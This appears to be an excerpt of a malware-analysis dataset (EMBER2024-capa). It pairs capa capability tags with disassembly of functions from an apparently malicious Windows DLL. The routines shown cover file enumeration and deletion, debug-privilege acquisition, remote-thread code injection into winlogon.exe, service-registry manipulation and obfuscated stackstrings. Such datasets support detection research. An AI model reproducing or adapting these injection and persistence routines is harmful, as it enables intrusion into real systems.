joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100037af
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
push esi
push edi
push str.GetLogicalDriveStringsA
mov dword [ebp - 0x20], ecx
push 0x10011288
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x224]
mov byte [ebp - 0x784], 0x67
push ecx
push 0x100
call eax
xor ebx, ebx
push 1
cmp byte [ebp - 0x224], bl
lea esi, [ebp - 0x224]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
pop edi
je 0x1000396f
jmp 0x10003817
xor ebx, ebx
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea ecx, [ebp - 0x124]
push ebx
push ecx
call eax
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [ebp - 0x384]
push 0x160
push eax
push 0x80
push esi
call dword [0x10012d5c]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x124]
push eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0xc], eax
mov al, byte [esi]
cmp al, 0x41
je 0x100038d9
cmp al, 0x42
je 0x100038d9
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100038d9
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 0x14
pop ecx
call fcn.1000ff90
mov edx, dword [ebp - 0x18]
push 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
pop ecx
call fcn.1000ff90
mov dword [ebp - 4], eax
jmp 0x100038e1
and dword [ebp - 8], 0
and dword [ebp - 4], 0
mov al, byte [esi]
push esi
mov byte [ebp + edi - 0x784], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + edi - 0x783], al
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + edi - 0x782]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + edi - 0x77e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp + edi - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0xc]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebx + edi]
lea eax, [ebp + eax - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0x30
add eax, ebx
push esi
lea edi, [edi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esi + eax + 1], 0
lea esi, [esi + eax + 1]
jne 0x10003815
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x784]
push edi
push eax
call fcn.10005e25
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003984
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push esi
mov eax, 0x2800
push edi
mov esi, ecx
push eax
push 0x40
and dword [esi + 0x1c], 0
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x24c]
push str._s.
push eax
call dword [0x10012de0]
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100039f5
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.10005e25
jmp 0x10003af8
push ebx
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x10003a1d
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edi, eax
lea eax, [ebp - 0x11c]
push 0x10011400
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10003ac1
lea eax, [ebp - 0x11c]
push 0x100113fc
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10003ac1
mov al, byte [ebp - 0x148]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x11c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, ebx
lea eax, [ebp - 0x12c]
push 4
push eax
and byte [esi + edi], 0
inc esi
lea ebx, [esi + edi]
push ebx
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x128]
push 4
add ebx, 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x134]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100039fc
mov ecx, dword [ebp - 8]
push esi
push edi
call fcn.10005e25
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10003afe
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [0x10012de0]
push ebx
lea eax, [ebp - 0x450]
push str._s.
mov dword [ebp - 4], ecx
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10003b4a
xor al, al
jmp 0x10003bcb
push edi
mov edi, str._s_s
cmp byte [ebp - 0x118], 0x2e
je 0x10003ba1
test byte [ebp - 0x144], 0x10
lea eax, [ebp - 0x118]
push eax
push ebx
push edi
je 0x10003b88
lea eax, [ebp - 0x248]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.10003afe
jmp 0x10003ba1
lea eax, [ebp - 0x34c]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x144]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003b50
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10003bd1
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov esi, ecx
push 0x100112b0
push 0x100112a4
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
add esi, 0x20
push 0x104
push edi
push esi
mov dword [ebp - 4], eax
call eax
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003c36
xor eax, eax
jmp 0x10003cac
lea eax, [ebp - 8]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call dword [ebp - 4]
mov byte [esi], 0x69
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 0xc]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x10]
add esp, 0xc
push edi
push esi
call fcn.10005e25
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10003cb2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10003cd1
call fcn.10003d75
xor eax, eax
jmp 0x10003d6e
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10003d6e
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x10003d5c
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.10005e25
mov dword [ebp - 4], eax
jmp 0x10003d64
mov ecx, dword [ebp - 4]
call fcn.10003d75
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10003e75
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x10010819
call fcn.1000fee0
sub esp, 0x468
push ebx
push esi
push 0x100112b0
mov ebx, ecx
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea ecx, [ebp - 0x370]
push 0
push ecx
call eax
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x1001141c
jne 0x10003ed2
mov dword [ebp - 0x10], 0x10015af8
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [0x10012de0]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10003f10
xor al, al
jmp 0x10003fdc
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x10003fb8
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10003f56
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.10003e75
jmp 0x10003fb8
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100040af
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003f16
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x1000415a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
push 0x104
lea ecx, [ebp - 0x104]
push ebx
push ecx
call eax
push dword [ebp + 8]
lea eax, [ebp - 0x504]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [0x10012de0]
add esp, 0x18
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x104]
push ebx
push eax
mov edi, str.InstallModule
push 1
lea eax, [ebp - 0x504]
push edi
mov esi, 0x80000002
push eax
push esi
call fcn.1000605f
push 3
push ebx
push ebx
push 1
lea eax, [ebp - 0x504]
push edi
push eax
push esi
call fcn.10005f1a
add esp, 0x3c
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000421d
inc ebx
cmp ebx, 0x19
jl 0x100041fb
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004271
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100042bb
xor eax, eax
jmp 0x10004311
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.10004222
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x1000430f
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x100042b7
add eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10004b8b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push str.CreateProcessA
push 0x10011288
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2f
mov ebx, eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10004bcd
push esi
push dword [ebp + 8]
call fcn.10009165
pop ecx
test al, al
pop ecx
jne 0x10004bd1
xor al, al
jmp 0x10004c47
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x57
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push str.DASIJIANGMIN
push esi
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], dl
mov dword [ebp - 0x64], 0x44
call ebx
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebx
leave
ret
Function at 0x10004c4b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x100112b0
push 0x100112a4
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateProcessA
push 0x10011288
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov esi, eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004d9a
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0x174]
push ebx
push eax
call dword [ebp - 0x1c]
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push ebx
push str.Applicationsiexplore.exe_shellopencommand
push 0x80000000
call dword [0x10012cd4]
test eax, eax
jne 0x10004d9a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x174]
push eax
push ebx
push dword [ebp - 0x14]
call dword [0x10012cd8]
push dword [ebp - 0x14]
call dword [0x10012cdc]
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10004d9a
lea eax, [ebp - 0x174]
push 0x100113c4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x10004d9a
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x6c]
mov byte [ebp - 0x10], 0x57
rep stosd dword es:[edi], eax
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
mov dword [ebp - 0x70], 0x44
je 0x10004d82
lea eax, [ebp - 0x10]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x174]
push ebx
push eax
push ebx
call esi
pop edi
pop esi
xor al, al
pop ebx
leave
ret

Function at 0x10004e64
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x10012c88]
test eax, eax
jne 0x10004e85
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push str.SeDebugPrivilege
push ebx
call dword [0x10012c8c]
test eax, eax
je 0x10004ece
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [0x10012c90]
test eax, eax
je 0x10004ece
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x10004f62
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100112b0
push 0x100112a4
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ebx, eax
call fcn.10004e64
push dword [ebp + 8]
call fcn.10008d28
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10004fb5
xor al, al
jmp 0x1000513b
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call ebx
add esp, 0xc
push str.advapi32.dll
call edi
mov ebx, eax
push 0x100115e8
push ebx
call esi
push 0x100115d8
push ebx
mov dword [ebp - 0xf8], eax
call esi
push 0x100115c4
push ebx
mov dword [ebp - 0xf4], eax
call esi
push 0x100115b4
push ebx
mov dword [ebp - 0xf0], eax
call esi
push str.StartServiceA
push ebx
mov dword [ebp - 0xec], eax
call esi
push 0x10011594
push ebx
mov dword [ebp - 0xe8], eax
call esi
push 0x10011580
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push str.shlwapi.dll
call edi
push 0x10011564
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push str.kernel32.dll
call edi
mov edi, eax
push 0x1001154c
push edi
call esi
push 0x10011540
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, 0x1000
push 4
mov esi, 0xf4
push ebx
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x10004fae
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10004fae
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x10004fae
push 0
push ebx
push 0x10004edc
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x10004fae
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005404
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
mov ebx, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push ebx
mov dword [ebp - 4], ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x1001141c
push eax
call esi
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push str.ex.dll
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push str._d.bak
push eax
call dword [0x10012de0]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x310]
push ebx
push eax
call edi
lea eax, [ebp - 0x310]
push str._syslog.dat
push eax
call esi
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 4]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x100054e0
push str.winlogon.exe
call fcn.10004f62
pop ecx
jmp 0x100054e5
call fcn.100043fc
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005883
Capabilities:
Read file via mapping

Disassembly:
mov eax, 0x10010950
call fcn.1000fee0
sub esp, 0x28
push ebx
lea ecx, [ebp - 0x34]
call fcn.100058f8
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
neg eax
sbb eax, eax
push str._kaspersky
xor ebx, ebx
push 0x594
and eax, ecx
push ebx
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [0x10015c0c], eax
je 0x100058dd
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [0x10015c08], eax
je 0x100058dd
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10005923
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret